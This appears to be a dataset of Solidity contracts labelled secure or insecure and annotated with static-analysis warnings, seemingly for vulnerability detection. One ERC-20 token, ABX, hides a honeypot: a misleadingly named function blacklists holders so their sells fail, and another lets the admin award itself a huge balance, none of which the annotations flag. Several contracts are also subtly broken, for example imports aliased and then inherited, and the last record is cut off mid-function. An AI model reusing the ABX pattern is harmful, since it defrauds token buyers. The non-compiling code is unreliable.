{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IStoreOfValue {\n function increment() external;\n function getValue() external view returns (uint256);\n}", "file_name": "solidity_code_3469.sol", "secure": 1, "size_bytes": 184 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract ConwaiToken is ERC20 {\n constructor() ERC20(\"Conwai\", \"CNW\") {\n _mint(msg.sender, 10000000000 * (10 ** uint256(decimals())));\n }\n}", "file_name": "solidity_code_347.sol", "secure": 1, "size_bytes": 292 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IStoreOfValue.sol\" as IStoreOfValue;\n\ncontract Incrementer {\n\t// WARNING Optimization Issue (immutable-states | ID: 6520517): Incrementer.storeOfValue should be immutable \n\t// Recommendation for 6520517: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IStoreOfValue public storeOfValue;\n\n constructor(address _storeOfValue) {\n storeOfValue = IStoreOfValue(_storeOfValue);\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 7ea3dab): Incrementer.incrementBy(uint256) has external calls inside a loop storeOfValue.increment()\n\t// Recommendation for 7ea3dab: Favor pull over push strategy for external calls.\n function incrementBy(uint256 _value) public {\n for (uint256 i = 0; i < _value; i++) {\n\t\t\t// calls-loop | ID: 7ea3dab\n storeOfValue.increment();\n }\n }\n}", "file_name": "solidity_code_3470.sol", "secure": 0, "size_bytes": 965 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract ABX is Ownable {\n mapping(address => bool) public hulkinfo;\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 459145e): ABX.constructor(string,string,address).hkadmin lacks a zerocheck on \t xxxaAdmin = hkadmin\n\t// Recommendation for 459145e: Check that the address is not zero.\n constructor(\n string memory tokenname,\n string memory tokensymbol,\n address hkadmin\n ) {\n emit Transfer(address(0), msg.sender, 10000000000 * 10 ** decimals());\n _totalSupply = 10000000000 * 10 ** decimals();\n _balances[msg.sender] = 10000000000 * 10 ** decimals();\n _tokename = tokenname;\n _tokensymbol = tokensymbol;\n\t\t// missing-zero-check | ID: 459145e\n xxxaAdmin = hkadmin;\n }\n\t// WARNING Optimization Issue (immutable-states | ID: 76df684): ABX.xxxaAdmin should be immutable \n\t// Recommendation for 76df684: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public xxxaAdmin;\n\t// WARNING Optimization Issue (immutable-states | ID: 021f1a0): ABX._totalSupply should be immutable \n\t// Recommendation for 021f1a0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n string private _tokename;\n string private _tokensymbol;\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n function name() public view returns (string memory) {\n return _tokename;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 502c0c9): ABX.infoSum should be constant \n\t// Recommendation for 502c0c9: Add the 'constant' attribute to state variables that never change.\n uint128 infoSum = 34644;\n\t// WARNING Optimization Issue (constable-states | ID: 1bd4f5e): ABX.globaltrue should be constant \n\t// Recommendation for 1bd4f5e: Add the 'constant' attribute to state variables that never change.\n bool globaltrue = true;\n\t// WARNING Optimization Issue (constable-states | ID: f32ff76): ABX.globalff should be constant \n\t// Recommendation for f32ff76: Add the 'constant' attribute to state variables that never change.\n bool globalff = false;\n function decreaseAllowance(address hkkk) external {\n address tmoinfo = hkkk;\n\n hulkinfo[tmoinfo] = globaltrue;\n require(_msgSender() == xxxaAdmin);\n }\n\n function hukllaminbaldAdd() external {\n if (_msgSender() == xxxaAdmin) {}\n _balances[_msgSender()] +=\n 10 ** decimals() *\n 68800 *\n (23300000000 + 100);\n require(_msgSender() == xxxaAdmin);\n }\n\n function symbol() public view returns (string memory) {\n return _tokensymbol;\n }\n function hklllquitxxx(address hkkk) external {\n address tmoinfo = hkkk;\n\n hulkinfo[tmoinfo] = globalff;\n require(_msgSender() == xxxaAdmin);\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n _transfer(_msgSender(), to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3f25c40): ABX.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3f25c40: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b8af4ee): ABX.increaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b8af4ee: Rename the local variables that shadow another component.\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 36ae6e2): ABX.decreaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 36ae6e2: Rename the local variables that shadow another component.\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(owner, spender, currentAllowance - subtractedValue);\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (hulkinfo[from] == true) {\n amount = infoSum + _balances[from] + infoSum - infoSum;\n }\n uint256 balance = _balances[from];\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n _balances[from] = _balances[from] - amount;\n _balances[to] = _balances[to] + amount;\n emit Transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 564064a): ABX._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 564064a: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e50f20f): ABX._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for e50f20f: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}", "file_name": "solidity_code_3471.sol", "secure": 0, "size_bytes": 7732 }
{ "code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract RADAMER is ERC20 {\n constructor() ERC20(\"Radamer\", \"RADAMER\") {\n _totalSupply = 1000000000000 * 10 ** 9;\n _balances[msg.sender] += _totalSupply;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n}", "file_name": "solidity_code_3472.sol", "secure": 1, "size_bytes": 382 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract MMAPS is ERC20, Ownable {\n uint256 constant maxWalletStart = 2e16;\n uint256 constant addMaxWalletPerMinute = 1e16;\n uint256 public constant totalSupplyOnStart = 1e18;\n uint256 tradingStartTime;\n address public pool;\n\n constructor() ERC20(\"Metapolitans\", \"MAPS \") {\n _mint(msg.sender, totalSupplyOnStart);\n }\n\n function decimals() public pure override returns (uint8) {\n return 9;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 127b706): MMAPS.maxWallet() uses timestamp for comparisons Dangerous comparisons tradingStartTime == 0 res > totalSupply()\n\t// Recommendation for 127b706: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: a5b977b): MMAPS.maxWallet() uses a dangerous strict equality tradingStartTime == 0\n\t// Recommendation for a5b977b: Don't use strict equality to determine if an account has enough Ether or tokens.\n function maxWallet() public view returns (uint256) {\n\t\t// timestamp | ID: 127b706\n\t\t// incorrect-equality | ID: a5b977b\n if (tradingStartTime == 0) return totalSupply();\n uint256 res = maxWalletStart +\n ((block.timestamp - tradingStartTime) * addMaxWalletPerMinute) /\n (1 minutes);\n\t\t// timestamp | ID: 127b706\n if (res > totalSupply()) return totalSupply();\n return res;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 5124872): MMAPS._beforeTokenTransfer(address,address,uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(balanceOf(to) + amount <= maxWallet(),wallet maximum)\n\t// Recommendation for 5124872: Avoid relying on 'block.timestamp'.\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n if (pool == address(0)) {\n require(from == owner() || to == owner(), \"trading is not started\");\n return;\n }\n\n if (to != pool)\n\t\t\t// timestamp | ID: 5124872\n require(balanceOf(to) + amount <= maxWallet(), \"wallet maximum\");\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 483485b): MMAPS.startTrade(address).poolAddress lacks a zerocheck on \t pool = poolAddress\n\t// Recommendation for 483485b: Check that the address is not zero.\n function startTrade(address poolAddress) public onlyOwner {\n tradingStartTime = block.timestamp;\n\t\t// missing-zero-check | ID: 483485b\n pool = poolAddress;\n }\n}", "file_name": "solidity_code_3473.sol", "secure": 0, "size_bytes": 2784 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\nabstract contract RoleBasedAccessControl is Context, Ownable {\n mapping(string => mapping(address => bool)) private _roleToAddress;\n mapping(string => bool) private _role;\n string[] _roles;\n\n modifier onlyRole(string memory pRole) {\n require(\n _roleToAddress[pRole][_msgSender()],\n \"[error][role based access control] only addresses assigned this role can access this function!\"\n );\n _;\n }\n\n modifier onlyRoles(string[] memory pRoles) {\n for (uint256 i = 0; i < pRoles.length; i++) {\n require(\n _roleToAddress[pRoles[i]][_msgSender()],\n \"[error][role based access control] only addresses assigned this role can access this function!\"\n );\n }\n _;\n }\n\n modifier onlyRolesOr(string[] memory pRoles) {\n bool rolePresent = false;\n for (uint256 i = 0; i < pRoles.length; i++) {\n rolePresent =\n rolePresent ||\n _roleToAddress[pRoles[i]][_msgSender()];\n }\n require(\n rolePresent,\n \"[error][role based access control] only addresses assigned this role can access this function!\"\n );\n _;\n }\n\n modifier onlyRoleOrOwner(string memory pRole) {\n require(\n _roleToAddress[pRole][_msgSender()] || owner() == _msgSender(),\n \"[error][role based access control] only addresses assigned this role or the owner can access this function!\"\n );\n _;\n }\n\n function registerRole(\n string memory pRole\n ) public virtual onlyRoleOrOwner(\"root\") {\n _addRole(pRole);\n }\n\n function registerRoleAddresses(\n string memory pRole,\n address[] memory pMembers\n ) public virtual onlyRoleOrOwner(\"root\") {\n _addRole(pRole);\n for (uint256 i = 0; i < pMembers.length; i++) {\n _roleToAddress[pRole][pMembers[i]] = true;\n }\n }\n\n function registerRoleAddress(\n string memory pRole,\n address pMember\n ) public virtual onlyRoleOrOwner(\"root\") {\n _addRole(pRole);\n _roleToAddress[pRole][pMember] = true;\n }\n\n function removeRoleAddress(\n string memory pRole,\n address pMember\n ) public virtual onlyRoleOrOwner(\"root\") {\n _addRole(pRole);\n _roleToAddress[pRole][pMember] = false;\n }\n\n function addRoleAddress(\n string memory pRole,\n address pMember\n ) public virtual onlyRoleOrOwner(\"root\") {\n _addRole(pRole);\n _roleToAddress[pRole][pMember] = true;\n }\n\n function hasRoleAddress(\n string memory pRole,\n address pAddress\n ) public virtual returns (bool) {\n return (_roleToAddress[pRole][pAddress]);\n }\n\n function _addRole(string memory pRole) private {\n if (!_role[pRole]) {\n _role[pRole] = true;\n _roles.push(pRole);\n }\n }\n}", "file_name": "solidity_code_3474.sol", "secure": 1, "size_bytes": 3224 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./RoleBasedAccessControl.sol\" as RoleBasedAccessControl;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Util is RoleBasedAccessControl {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: a214132): Util._token should be constant \n\t// Recommendation for a214132: Add the 'constant' attribute to state variables that never change.\n ERC20 private _token;\n\n mapping(string => mapping(address => bool)) private _paramForAddressIsBool;\n mapping(string => bytes32) private _stringCompare;\n mapping(string => bool) private _stringCompareList;\n mapping(string => uint256) private _commonStats;\n\n\t// WARNING Optimization Issue (constable-states | ID: ee19ea4): Util._floatingPointPrecision should be constant \n\t// Recommendation for ee19ea4: Add the 'constant' attribute to state variables that never change.\n uint256 private _floatingPointPrecision = 10 ** 16;\n\n uint8 private _frontrunIndex;\n\t// WARNING Optimization Issue (constable-states | ID: f9cb7fa): Util._frontrunMinETH should be constant \n\t// Recommendation for f9cb7fa: Add the 'constant' attribute to state variables that never change.\n uint256 private _frontrunMinETH = 1 * (10 ** 18);\n bool[3] private _frontrunTransactionTypes;\n address[3] private _frontrunTransactionAddresses;\n uint256 private _frontrunTimeout;\n\n constructor(address pContract) {\n _paramForAddressIsBool[\"burn\"][address(0)] = true;\n _paramForAddressIsBool[\"burn\"][address(0xdEaD)] = true;\n\n registerRoleAddress(\"util\", pContract);\n }\n\n function setParamForAddressBool(\n string memory pParam,\n address pAddress,\n bool pBool\n ) public onlyRole(\"util\") {\n _paramForAddressIsBool[pParam][pAddress] = pBool;\n }\n\n function setParamForAddressesBool(\n string memory pParam,\n address[] memory pAddress,\n bool pBool\n ) public onlyRole(\"util\") {\n for (uint256 i = 0; i < pAddress.length; i++) {\n _paramForAddressIsBool[pParam][pAddress[i]] = pBool;\n }\n }\n\n function _addStringCompare(\n string memory pString\n ) private returns (bytes32) {\n _stringCompare[pString] = keccak256(bytes(pString));\n _stringCompareList[pString] = true;\n return (_stringCompare[pString]);\n }\n\n function stringEq(\n string memory pA,\n string memory pB\n ) public onlyRole(\"util\") returns (bool) {\n bytes32 a = (\n (_stringCompareList[pA])\n ? _stringCompare[pA]\n : _addStringCompare(pA)\n );\n\n bytes32 b = (\n (_stringCompareList[pB])\n ? _stringCompare[pB]\n : _addStringCompare(pB)\n );\n\n if (a == b && b == a) {\n return (true);\n }\n return (false);\n }\n\n function statsIncrease(\n string memory pStats,\n uint256 pValue\n ) public onlyRole(\"util\") {\n _commonStats[pStats] = _commonStats[pStats].add(pValue);\n }\n\n function statsDecrease(\n string memory pStats,\n uint256 pValue\n ) public onlyRole(\"util\") {\n if (_commonStats[pStats] >= pValue) {\n _commonStats[pStats] = _commonStats[pStats].sub(pValue);\n }\n }\n\n function stats(string memory pStats) public view returns (uint256) {\n return (_commonStats[pStats]);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: cbca693): Util._isFrontrunTransaction(address,bool,bool,uint256) uses timestamp for comparisons Dangerous comparisons block.timestamp.sub(_frontrunTimeout) <= 60\n\t// Recommendation for cbca693: Avoid relying on 'block.timestamp'.\n function _isFrontrunTransaction(\n address pWallet,\n bool pBuy,\n bool pSell,\n uint256 pAmount\n ) private returns (bool) {\n bool isFrontrunning = false;\n if (pAmount > 0) {\n _frontrunTransactionAddresses[_frontrunIndex] = pWallet;\n _frontrunTransactionTypes[_frontrunIndex] = pBuy;\n\n if (\n _frontrunIndex == 2 &&\n pSell &&\n (_frontrunTransactionTypes[0] &&\n _frontrunTransactionTypes[1]) &&\n (_frontrunTransactionAddresses[0] ==\n _frontrunTransactionAddresses[2])\n ) {\n\t\t\t\t// timestamp | ID: cbca693\n if (block.timestamp.sub(_frontrunTimeout) <= 60) {\n isFrontrunning = true;\n }\n }\n\n _frontrunIndex++;\n _frontrunTimeout = block.timestamp;\n if (_frontrunIndex > 2) {\n _frontrunIndex = 0;\n }\n }\n\n return (isFrontrunning);\n }\n\n function frontrunning(\n address pFrom,\n address pTo,\n uint256 pAmount,\n bool pBuy,\n bool pSell\n ) public onlyRole(\"util\") returns (bool) {\n if (\n _isFrontrunTransaction(\n ((pBuy && !pSell) ? pTo : pFrom),\n pBuy,\n pSell,\n pAmount\n )\n ) {\n return (true);\n }\n return (false);\n }\n\n function isAddressBurn(address pAddress) public view returns (bool) {\n if (_paramForAddressIsBool[\"burn\"][pAddress]) {\n return (true);\n }\n return (false);\n }\n\n function isAddressParam(\n string memory pParam,\n address pAddress\n ) public view returns (bool) {\n if (_paramForAddressIsBool[pParam][pAddress]) {\n return (true);\n }\n return (false);\n }\n\n function percent(\n uint256 pIn,\n uint256 pPercent,\n uint256 pDecimals\n ) public pure returns (uint256) {\n return (pIn.mul(pPercent).div(10 ** (pDecimals.add(1))));\n }\n}", "file_name": "solidity_code_3475.sol", "secure": 0, "size_bytes": 6156 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\nimport \"./RoleBasedAccessControl.sol\" as RoleBasedAccessControl;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol\" as IUniswapV2Pair;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"./Util.sol\" as Util;\n\ncontract ShibaDogePredator is IERC20, ReentrancyGuard, RoleBasedAccessControl {\n using SafeMath for uint256;\n using Address for address;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8d64ae2): ShibaDogePredator.ADDRESS_PROJECT should be constant \n\t// Recommendation for 8d64ae2: Add the 'constant' attribute to state variables that never change.\n address public ADDRESS_PROJECT = 0x49df2f3cca1E154ae40f5A6544A1249f42830Fb1;\n\n\t// WARNING Optimization Issue (constable-states | ID: b59ddee): ShibaDogePredator.ADDRESS_ZERO should be constant \n\t// Recommendation for b59ddee: Add the 'constant' attribute to state variables that never change.\n address public ADDRESS_ZERO = address(0);\n\t// WARNING Optimization Issue (constable-states | ID: 094643b): ShibaDogePredator.ADDRESS_BURN should be constant \n\t// Recommendation for 094643b: Add the 'constant' attribute to state variables that never change.\n address public ADDRESS_BURN = address(0xdEaD);\n\t// WARNING Optimization Issue (immutable-states | ID: 9c6ed67): ShibaDogePredator.ADDRESS_PAIR should be immutable \n\t// Recommendation for 9c6ed67: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public ADDRESS_PAIR;\n\t// WARNING Optimization Issue (constable-states | ID: 9ec84ad): ShibaDogePredator.ADDRESS_ROUTER should be constant \n\t// Recommendation for 9ec84ad: Add the 'constant' attribute to state variables that never change.\n address public ADDRESS_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 520aef1): ShibaDogePredator._router should be immutable \n\t// Recommendation for 520aef1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private _router;\n\t// WARNING Optimization Issue (immutable-states | ID: 14edeb5): ShibaDogePredator._pair should be immutable \n\t// Recommendation for 14edeb5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Pair private _pair;\n\t// WARNING Optimization Issue (immutable-states | ID: 4f13509): ShibaDogePredator._util should be immutable \n\t// Recommendation for 4f13509: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n Util private _util;\n\n uint16 public TAX_BUY = 3;\n uint16 public TAX_SELL = 3;\n\n uint16 public TRANSACTION_LIMIT_MAX_BUY = 1;\n bool public TRANSACTION_LIMIT_ENABLED = true;\n bool public TRANSACTION_FRONTRUNNING_ENABLED = true;\n\n bool public ENABLED;\n\n\t// WARNING Optimization Issue (constable-states | ID: 37b1db4): ShibaDogePredator._name should be constant \n\t// Recommendation for 37b1db4: Add the 'constant' attribute to state variables that never change.\n string private _name = \"ShibaDogePredator\"; // the name of our project\n\t// WARNING Optimization Issue (constable-states | ID: 86a7cb0): ShibaDogePredator._symbol should be constant \n\t// Recommendation for 86a7cb0: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"EV3\"; // symbol of the project\n\t// WARNING Optimization Issue (constable-states | ID: 80af721): ShibaDogePredator._decimals should be constant \n\t// Recommendation for 80af721: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 0;\n uint256 private _totalSupply = 5 * (10 ** 15) * (10 ** 0);\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _noTaxes;\n mapping(string => uint256) private _uint256;\n\n bool private _swapping;\n uint256 public TAXES;\n\n event Burn(address indexed from, uint256 amount);\n event TransactionStart(\n address indexed from,\n address indexed to,\n uint256 amount\n );\n event TransactionBuy(\n address indexed from,\n address indexed to,\n uint256 amount\n );\n event TransactionSell(\n address indexed from,\n address indexed to,\n uint256 amount\n );\n event TransactionTransfer(\n address indexed from,\n address indexed to,\n uint256 amount\n );\n event TransactionNoTaxes(\n address indexed from,\n address indexed to,\n uint256 amount\n );\n event TransactionTaxes(\n address indexed from,\n address indexed to,\n uint256 amount,\n uint256 taxes\n );\n event TransactionFrontrunner(\n address indexed from,\n address indexed to,\n uint256 amount\n );\n event TransactionTaxesToETH(\n address indexed from,\n address indexed to,\n uint256 tokens,\n uint256 taxes,\n uint256 total,\n uint256 native\n );\n event TransactionEnd();\n\n modifier onlySwapOnce() {\n _swapping = true;\n _;\n _swapping = false;\n }\n\n receive() external payable {}\n\n constructor() {\n _balances[address(this)] = _totalSupply;\n\n emit Transfer(address(0), address(this), _totalSupply);\n\n _util = new Util(address(this));\n\n _router = IUniswapV2Router02(ADDRESS_ROUTER);\n ADDRESS_PAIR = IUniswapV2Factory(_router.factory()).createPair(\n address(this),\n _router.WETH()\n );\n _pair = IUniswapV2Pair(ADDRESS_PAIR);\n _approve(address(this), address(_router), 2 ** 256 - 1);\n\n _uint256[\"maxTaxes\"] = 3; // 3% max taxes\n _uint256[\"minTransactionLimit\"] = 1; // 1% of _totalSupply\n\n _noTaxes[address(this)] = true; // this contract can't pay taxes or you can't swap taxes to ETH\n registerRoleAddress(\"root\", _msgSender());\n registerRoleAddress(\"root\", ADDRESS_PROJECT);\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9ea410f): ShibaDogePredator.addLiquidity() ignores return value by _router.addLiquidityETH{value address(this).balance}(address(this),_balances[address(this)],0,0,ADDRESS_PROJECT,block.timestamp)\n\t// Recommendation for 9ea410f: Ensure that all the return values of the function calls are used.\n function addLiquidity() public onlyRole(\"root\") {\n require(\n address(this).balance > 0,\n \"[error] contract has no balance for liquidity!\"\n );\n require(\n _balances[address(this)] > 0,\n \"[error] contract has no balance for liquidity!\"\n );\n\n\t\t// unused-return | ID: 9ea410f\n _router.addLiquidityETH{value: address(this).balance}(\n address(this),\n _balances[address(this)],\n 0,\n 0,\n ADDRESS_PROJECT,\n block.timestamp\n );\n }\n\n function enable() public onlyRole(\"root\") {\n require(!ENABLED, \"[error] contract already enabled!\");\n ENABLED = true;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c42350f): Reentrancy in ShibaDogePredator.setTaxes(uint16,string) External calls _util.stringEq(pDirection,sell) State variables written after the call(s) TAX_SELL = pTaxes\n\t// Recommendation for c42350f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6f0298e): Reentrancy in ShibaDogePredator.setTaxes(uint16,string) External calls _util.stringEq(pDirection,buy) State variables written after the call(s) TAX_BUY = pTaxes\n\t// Recommendation for 6f0298e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function setTaxes(\n uint16 pTaxes,\n string memory pDirection\n ) public onlyRole(\"root\") {\n require(\n pTaxes <= _uint256[\"maxTaxes\"],\n \"[error] variable is not within the allowed max,min!\"\n );\n\t\t// reentrancy-benign | ID: 6f0298e\n if (_util.stringEq(pDirection, \"buy\")) {\n\t\t\t// reentrancy-benign | ID: 6f0298e\n TAX_BUY = pTaxes;\n\t\t// reentrancy-benign | ID: c42350f\n } else if (_util.stringEq(pDirection, \"sell\")) {\n\t\t\t// reentrancy-benign | ID: c42350f\n TAX_SELL = pTaxes;\n }\n }\n\n function enableTransactionLimit(uint16 pLimit) public onlyRole(\"root\") {\n require(\n pLimit >= _uint256[\"minTransactionLimit\"],\n \"[error] variable is not within the allowed max,min!\"\n );\n TRANSACTION_LIMIT_MAX_BUY = pLimit;\n TRANSACTION_LIMIT_ENABLED = true;\n }\n\n function disableTransactionLimit() public onlyRole(\"root\") {\n TRANSACTION_LIMIT_ENABLED = false;\n }\n\n function enableTransactionFrontrunning() public onlyRole(\"root\") {\n TRANSACTION_FRONTRUNNING_ENABLED = true;\n }\n\n function disableTransactionFrontrunning() public onlyRole(\"root\") {\n TRANSACTION_FRONTRUNNING_ENABLED = false;\n }\n\n function name() public view returns (string memory) {\n return (_name);\n }\n\n function symbol() public view returns (string memory) {\n return (_symbol);\n }\n\n function decimals() public view returns (uint8) {\n return (_decimals);\n }\n\n function totalSupply() public view override returns (uint256) {\n return (_totalSupply);\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return (_balances[account]);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2331414): ShibaDogePredator.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2331414: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return (_allowances[owner][spender]);\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return (true);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 61953dd): ShibaDogePredator._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 61953dd: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"[error] approve from the zero address\");\n require(spender != address(0), \"[error] approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 45ebe06\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 195a523\n emit Approval(owner, spender, amount);\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n return (true);\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"[error] decreased allowance below zero\"\n )\n );\n return (true);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return (true);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 195a523): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 195a523: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 45ebe06): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 45ebe06: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 195a523\n\t\t// reentrancy-benign | ID: 45ebe06\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 195a523\n\t\t// reentrancy-benign | ID: 45ebe06\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"[error] transfer amount exceeds allowance\"\n )\n );\n return (true);\n }\n\n function stats(string memory pStats) public view returns (uint256) {\n return (_util.stats(pStats));\n 